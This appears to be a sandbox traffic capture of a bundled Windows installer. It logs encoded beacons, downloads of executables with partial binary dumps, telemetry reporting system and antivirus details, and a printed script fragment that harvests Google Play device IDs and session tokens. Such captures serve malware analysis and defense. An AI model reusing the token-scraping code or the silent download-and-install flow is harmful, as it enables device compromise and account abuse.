GET /4475.ashx?e=s5Ydxb c7o0asVMAMALcPJL yAYdXN5RWXw35h  LZmMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK817fOGjucERMRNCESZ2BqQgm3p QkSZustsDnBflfPj02fuP0OVHG7vUeZLRmueCpr 7rPtSKe/ M7RbLG9tjjZYXcJcN2x8HDyw2dOqRz0VTJIBlhaXll/jgb6v7cXpPsHbyM38hHidUrNq9v5JlKyvW7EFbpzx9v 4wRWaeTSQ25zLHQUHL6e94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsF7Q 9lY/UdPfFDEx7p39heZkF1/HCKmEvlcum0nVhgH/wyH94MTPgg== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com

GET /4475.ashx?e=hXeqmv1IpemletMtAI4NzadvklASGFy412OKhacftHRAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bRFvI1dQMsMzfd5OMOAEL/nEw1Cd/XwKaFZc38bGVivn7bUA4teUDtB1JJpRAUOpYSeY/e3xqcYN4lZcxLy8MCmwsgTCGAfUzjLS8QKBdwSe29z1KklHinBKYX3Ti/i3YMgCmKZYKupqbflpLH1iULoVtB8erRBUEPCG4JT/HgGWHYR9ma6URQcqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1EPdWC37syN6R7TAWpeLwRjQiuZPDPbKClbmEuVJqAPqXLngodnaRVEGMLpCuUihVA== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:25:05 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Thu, 30 Apr 2015 09:25:07 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 72922
Connection: keep-alive
Date: Thu, 30 Apr 2015 00:10:23 GMT
x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990
Cache-Control: max-age=3600
Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT
ETag: "80764229a410305724108417115b8ce8"
Accept-Ranges: bytes
Server: AmazonS3
Age: 3227
X-Cache: Hit from cloudfront
Via: 1.1 09052d1a6e392e4f4a3fd97bf34a2b24.cloudfront.net (CloudFront)
X-Amz-Cf-Id: wUICEHygUoH1t1wyMUBzoL5uHNlSl2-H9ZcdW0MK9MpcFK1y2e3Qiw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........0.......p....@.........................
.................................................s.......... B........
...................................................................p..
.............................text...hZ.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected]...`[email protected]... B.......D...v
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...6B...Si.....VW.T.....tO.q.3.;5.6B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.6B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /mirror/w2m/scripts/hatter.js HTTP/1.1
Accept: */*
Referer: hXXp://dt3j8jg8ei6zr.cloudfront.net/mirror/w2m/index.html
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: dt3j8jg8ei6zr.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: application/x-javascript
Content-Length: 7788
Connection: keep-alive
Date: Sat, 25 Apr 2015 19:42:22 GMT
x-amz-version-id: evn.Uk7xEvQhCDHXkt31kbkB.yxRkw7F
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1404807465/atime:1404807492/ctime:1404807465
Cache-Control: max-age=3600
Last-Modified: Tue, 08 Jul 2014 08:18:14 GMT
ETag: "c8cee1a42dcd0eb838778e23682c35b4"
Accept-Ranges: bytes
Server: AmazonS3
Age: 1150
X-Cache: Hit from cloudfront
Via: 1.1 69ae15d1338b64299d3942a44fc1fb96.cloudfront.net (CloudFront)
X-Amz-Cf-Id: pZU_HXXClrZOX60XJ1mwetm0uFROrdxfEKXxBv5VAs5z3tYlpqbEsw==
/*var errorcodes = {. 201: 'parseStoreHTML - html is empty - is not el
igible',. 202: 'parseStoreHTML - store html _uc - got no token - is no
t eligible',. 203: 'parseStoreHTML - failed to eval and parse _uc - is
 not eligible',. 301: 'ructxHandler - got no data - is not eligible',.
 302: 'ructxHandler - fail to eval ructxData response postRequest - is
 not eligible',. 303: 'ructxHandler - no token - is not eligible',. 30
4: 'ructxHandler - no devices - is not eligible',. 101: 'success insta
ll',. 100: 'user is eligible'. }*/.window.HatterApps = [];.window.numb
erofdevices;.window.device_ids;..var getRequest = function (cbName) {.
  window.external.SendHttpRequest('hXXps://play.google.com/store', cbN
ame);.};.var postRequest = function (url, cbName, reqParams) {.  windo
w.external.PostHttpRequest(url, cbName, 'application/x-www-form-urlenc
oded;charset=UTF-8', reqParams);.};..// parse all devices in userconte
xt aka window._uc.var _recurfind = function (torecur) {.  var tid, arr
 = [], st;.  var recur = function (u) {.    $.each(u, function (i, v) 
{.      try {.        if (!v) return true;.        if (typeof v === 'o
bject') {.          return recur(v);.        }.        if (!v.match) r
eturn true;.        if (v.match(/^g(\w){15,21}$/)) {.          return 
arr.push(v);.        }.        if (v.match(/^(\w.*):(\d.*)$/)) {.     
     return tid = v;.        }.        if (v.match('signed-in')) {.   
       st = v;.        }.      } catch (err) {.        window.external
.LogMessage('_recurfind error :'   err);.      }..    });.  }.  re
<<< skipped >>>


GET /home/smt_istartsurf.exe HTTP/1.1
Range: bytes=167832-
User-Agent: Better Installer(Mozilla)
Host: VVV.girlliuxiaowei.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Thu, 30 Apr 2015 09:22:05 GMT
Content-Type: application/octet-stream
Content-Length: 503496
Last-Modified: Thu, 30 Apr 2015 03:13:41 GMT
Connection: keep-alive
Expires: Sun, 03 May 2015 09:22:05 GMT
Cache-Control: max-age=259200
Content-Range: bytes 167832-671327/671328
...}..u..x&.........._.....].V.u...u..[&..........^........u......Y...
.#.....V.;.t.3.^]...U...}..u...&..........^.....]..E...t.j..p..0.u....
.....].j.h..H..9z...e..3..u........u...%.........l^...........]....t..
[email protected]...@u..}..G.=....v....}.....u.V.....Y.e..V.....V.....YY.f..
....N....t.....F.j._.-.E...u W..#..Y..u.....H..M.....N..............N.
.~..F....f...E...........E...y....u..{...Y...U...=..H..u..lx...u...v..
h......s..YY][email protected]
..u..6.<.@[email protected][email protected][email protected][email protected]....
u.j..S...Y.......u.j..B...Y.3....u........y.j...u..Y..TpG....I........
.H........y.j...u..Y.......y.j..~u..Yj..Us..Y;.t.P.ku..Y.R....E..t...M
...j.YQPVh..@..|....E.9u.u.P..t....u.....E......M.PQ.....YY..e..E..E..
}..u.P..t....t...E......E...w...............U.... .E.VWj.Y..vG..}....E
..E._.E.^[email protected]$.......t$.......
tN......u........$......$..........~.....3.........t..A...t2..t$.....t
......t....A..L$. ...A..L$. ...A..L$. ...A..L$. .......U..WV.u..M..}..
.....;.v.;.............r..=..I..t.WV......;.^_u...I........u..........
r)...$...B...........r.......$.$.B..$. .B...$...B..4.B.`.B...B.#......
F..G..F.....G..........r....$...B..I.#......F.....G..........r....$...
B..#.................r....$...B..I...B...B...B...B...B...B...B...B..D.
..D...D...D...D...D...D...D...D...D...D...D...D...D..............$...B
... .B.(.B.4.B.H.B..E.^_........E.^_........F..G..E.^_...I......F..G..
F..G..E.^_....t1..|9.......u$.........r......$...B......$.\.B..I..
<<< skipped >>>


GET /utility.gif?report=fdata&f=1&c=000805&i=100&n=init_start_funnel_step_name&rnd=1430385923 HTTP/1.1
Host: errors.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: om/8utvVOG26iAr4OePFtIx aZAzvrDadPzQDa/rsxLSDYhBTrTHQIDGsb3S r0TikvGY1C8KM8=
x-amz-request-id: B76C13B1841F2218
Date: Thu, 30 Apr 2015 09:25:24 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: om/8ut
vVOG26iAr4OePFtIx aZAzvrDadPzQDa/rsxLSDYhBTrTHQIDGsb3S r0TikvGY1C8KM8=
..x-amz-request-id: B76C13B1841F2218..Date: Thu, 30 Apr 2015 09:25:24 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....


GET /installer-error.gif?action=sesamy&app=70299&appver=0&ver=1_36_01_22&version_date=15-04-30&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=A30AA41949174B2BB4F8916E33C4C15EPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFV3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&procstarttime=1430385923&procruntime=2&rnd=1430385925 HTTP/1.1


Host: errors.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: smAsmSuxSWw8Tot QISqg7FCLQ/UpgLhSXAhV3Uu/xjtcRXZjUTLT4mKNq4eaWQg UpdySsreQk=
x-amz-request-id: E1EBD9D6903E63B3
Date: Thu, 30 Apr 2015 09:25:26 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:06 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: smAsmS
uxSWw8Tot QISqg7FCLQ/UpgLhSXAhV3Uu/xjtcRXZjUTLT4mKNq4eaWQg UpdySsreQk=
..x-amz-request-id: E1EBD9D6903E63B3..Date: Thu, 30 Apr 2015 09:25:26 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Wed, 01 Apr 2015 13:14:06 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....


GET /utility.gif?report=fdata&f=1&c=000805&i=200&n=init_end_funnel_step_name&rnd=1430385926 HTTP/1.1


Host: errors.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: UO2aVgUGdZ3LRcfJmMUmWCH2bDhY4eHcTfVkftuVDucEmD8Np0XDTXWEPCeRUWMc5q804nGbqE4=
x-amz-request-id: 9EC2102499291C9E
Date: Thu, 30 Apr 2015 09:25:27 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=300&n=deploy_start_funnel_step_name&rnd=1430385926 HTTP/1.1


Host: errors.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: 8fZATSI6Qu0jMQQOFq3L38ZlF2xHc /1j9gbe4FDyCXAGndrx1cJmDqY9duukDmmHBFPosl0 c8=
x-amz-request-id: 29A99EC1BC4C6007
Date: Thu, 30 Apr 2015 09:25:27 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: 8fZATS
I6Qu0jMQQOFq3L38ZlF2xHc /1j9gbe4FDyCXAGndrx1cJmDqY9duukDmmHBFPosl0 c8=
..x-amz-request-id: 29A99EC1BC4C6007..Date: Thu, 30 Apr 2015 09:25:27 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....


GET /utility.gif?report=fdata&f=1&c=000805&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1430385927 HTTP/1.1


Host: errors.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: DKitqjR9523c5ZoQcupqZhZ3PY6NV1cJ0Nu3OvE7ZHwHTXKl6LWFbKbOvT29p4s6GfMmZrS3QEw=
x-amz-request-id: 13E0062589664D71
Date: Thu, 30 Apr 2015 09:25:28 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: DKitqj
R9523c5ZoQcupqZhZ3PY6NV1cJ0Nu3OvE7ZHwHTXKl6LWFbKbOvT29p4s6GfMmZrS3QEw=
..x-amz-request-id: 13E0062589664D71..Date: Thu, 30 Apr 2015 09:25:28 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....


GET /utility.gif?report=fdata&f=1&c=000805&i=500&n=deploy_notification_start_funnel_step_name&rnd=1430385927 HTTP/1.1


Host: errors.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: O5pbHs8dy7XCQKSILIfdBWGlYogm55vz1RId9ayT7OZQIsrBjmzfHDULm vkW pzWmnemGUk9Ls=
x-amz-request-id: 98BCEAB9CF6B38D9
Date: Thu, 30 Apr 2015 09:25:29 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1430385928 HTTP/1.1


Host: errors.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: Gn/KLhvdz CwMbLVMKQEfLxWgYdSKMOl196/VxjTBHkAHJfhD4sGM5GpDvo WHrMkuj Yj6s0WI=
x-amz-request-id: 8255A70E0C892715
Date: Thu, 30 Apr 2015 09:25:29 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=700&n=deploy_ch_start_funnel_step_name&rnd=1430385928 HTTP/1.1


Host: errors.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: BpiPfk7Y4KMf Fo/rI7HvtVk wXss pu72KYzHTM lrRURWu2U3gSIU7j4i4Vi1tiKsgegA F A=
x-amz-request-id: 2045ABAE1D7CF6A5
Date: Thu, 30 Apr 2015 09:25:29 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=800&n=deploy_nova_start_funnel_step_name&rnd=1430385928 HTTP/1.1


Host: errors.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: H/ZjMPoLbDK3RwrDJHeq7OrL0/Mm3jgsqlaVjoaKk0wdy/tP56LpyMrl3wPPZGxkNhomEWc9 1w=
x-amz-request-id: E15E2BF5B180A596
Date: Thu, 30 Apr 2015 09:25:29 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=900&n=deploy_ff_start_funnel_step_name&rnd=1430385928 HTTP/1.1


Host: errors.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: ktNUJUF9mUxAu9vmjvSuxr7cIFKPQ/xH3O8RUBD21sVKoG98MTqQSRUCDFr25Y1oAVWXckAmBu4=
x-amz-request-id: F3A5E45BAD73782F
Date: Thu, 30 Apr 2015 09:25:29 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: ktNUJU
F9mUxAu9vmjvSuxr7cIFKPQ/xH3O8RUBD21sVKoG98MTqQSRUCDFr25Y1oAVWXckAmBu4=
..x-amz-request-id: F3A5E45BAD73782F..Date: Thu, 30 Apr 2015 09:25:29 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....


GET /utility.gif?report=fdata&f=1&c=000805&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1430385932 HTTP/1.1


Host: errors.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: anXGpXJmKO03ivkRqQERSibeuHUTp36kAmoK zftD89Pe5RZVU5m sO26imM3 TR0m5ZSPvx4Nc=
x-amz-request-id: CD9D5C979344BEA5
Date: Thu, 30 Apr 2015 09:25:33 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1430385932 HTTP/1.1


Host: errors.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: TVAUp05TQ3O0x68HNU wpRy uf7MmdSUSxgFHgO3SL54jPmi3rpU od2BqT4NnXRRFGTgLPJp30=
x-amz-request-id: E2B1191E23EC7A05
Date: Thu, 30 Apr 2015 09:25:33 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1430385932 HTTP/1.1


Host: errors.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: zeQVnjq7h4lc795hv5D7T4b0Xl8TwxJheGy1nkxDFsBEY/zRdwZlGZetllh73ZF1ICRX/VtVlYc=
x-amz-request-id: ACC82555F1180EE7
Date: Thu, 30 Apr 2015 09:25:33 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: zeQVnj
q7h4lc795hv5D7T4b0Xl8TwxJheGy1nkxDFsBEY/zRdwZlGZetllh73ZF1ICRX/VtVlYc=
..x-amz-request-id: ACC82555F1180EE7..Date: Thu, 30 Apr 2015 09:25:33 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;
....


GET /utility.gif?report=fdata&f=1&c=000805&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1430385934 HTTP/1.1


Host: errors.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: E2oDwRmZ8geI4Jnb/NkV3fL02eqnTrikHrp AbsbJ3uWzPryaskhLZRQ6LVd1RwJHJKOoRNMoq8=
x-amz-request-id: 38A95D905AEF53DF
Date: Thu, 30 Apr 2015 09:25:35 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=10000&n=deploy_end_funnel_step_name&rnd=1430385934 HTTP/1.1


Host: errors.nodedomax.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: zoSbq9MCm/LdOqXvZsXxvqH4E56DKga8QXsksGaayGHMgQz3YENlrxViNca3R0CAWxytDcJ5okU=
x-amz-request-id: 39F4F6644FCCED74
Date: Thu, 30 Apr 2015 09:25:35 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: zoSbq9
MCm/LdOqXvZsXxvqH4E56DKga8QXsksGaayGHMgQz3YENlrxViNca3R0CAWxytDcJ5okU=
..x-amz-request-id: 39F4F6644FCCED74..Date: Thu, 30 Apr 2015 09:25:35 
GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, 
must-revalidate..Last-Modified: Wed, 01 Apr 2015 13:14:17 GMT..ETag: "
28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Le
ngth: 35..Server: AmazonS3..GIF89a.............,...........D..;..



GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=277619-555238
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Thu, 30 Apr 2015 09:22:09 GMT
Content-Type: application/octet-stream
Content-Length: 277620
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 277619-555238/1110476
.../cXh~.Q....mj..Yt..>...(.e....(...kiq...lSR>...?... .N?.[c6..
.C.(.pA.,.*..F...Y.Ij.j..p.%.r..e..h&...{-.....R^...`9.1PO6\8..>...
...Q"Rg.Z......Too...?.<....J..=,.q...}y.=.T..*W...C9..].........^e
."T..`.&F..M...^-6Wz_:..YW.B.......'......O;,k..".gGP..<$-..1 .;.s|
X....-....%,....@.]AU.. ..\ko... .w~g..1K.......;A..|.r..%............
........... .)..2....e..<.J.i."....c..oZ...TE..j...........H..,8W.c
..ST.zz.M.;-Pk5z...y..r.W~.;(F7,........w5...Ef...9Eo..[.Q...\.....9..
f6...j.mq*pRc..Z*.R..IW...j4Y.D ...T...Sn_.0.tY[/g./]ehAw..@<W.....
.0QO\Cj(.C.-.......*..5|.-.0..$.V..pX...T........HA.....}..........}.;
. ....LPV.X..0W..H.........z..F(.o.:........Fd.'C..= . ..e.....%Z.t...
.t.Bz.?...s.....L...ds....[....dr.....E(.z)vD17...d...m... ..........m
s..g...8V._x.X..D..g.WQ&....$...}o.Q5u..#6.. .`.......~..%.ir.W....zoY
I1b.......t`.2t.U.~5....t.......jd..rv.O..........s.o.}....A....9..o%.
..j.....R.LQ[.9qY1d?..?n.F.........*F}.b-.P`....y.6.=n...Kge}onq..u%.O
|.X>..."]..%H.;[email protected].. ........^...*.--....^n3.....2A....
...,..Wg./.........p>....ci.........w..2.g...6^:.`..b... .'r.......
.........D....RH..[.`i..1*.rs....O..BG5...)nU..tX...r..CZ..V=)@.4r..)v
:./M$..5...'4....Bey.0Y..*..#7...q.../.#N.@....__......<85d$.z.%G..
.(....-.d...I.........g....S:..&...2.....t..........h.c.......ty.G. .T
.k.>R....C...S.K.S.....,3LZe......a..#&SH.Q.R......4P......0}IC.h)N
.7..G....G1..........<..!.....=.I......S...tE.d.d.Y.......qf@I=nB..
......V...'...z.]y./.......ng..VY...y.|......2.J..'.^.z....W..d...
<<< skipped >>>


GET /5946.ashx?e=PcwT4QFtuPDEA05CBT6a0ajJfooaJy9 qUlAdcY4Qxd4E7mrr1h80riKIFo3W8f23Wq7IsWCDz6 voHsg2LiKECN9h bV19VoPPb/i9FtJTgL4xsffnkQbPiCC4paVhdAGW4B5KF0X3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lz8lbkb0am4Y HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:25:19 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Thu, 30 Apr 2015 09:25:19 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......


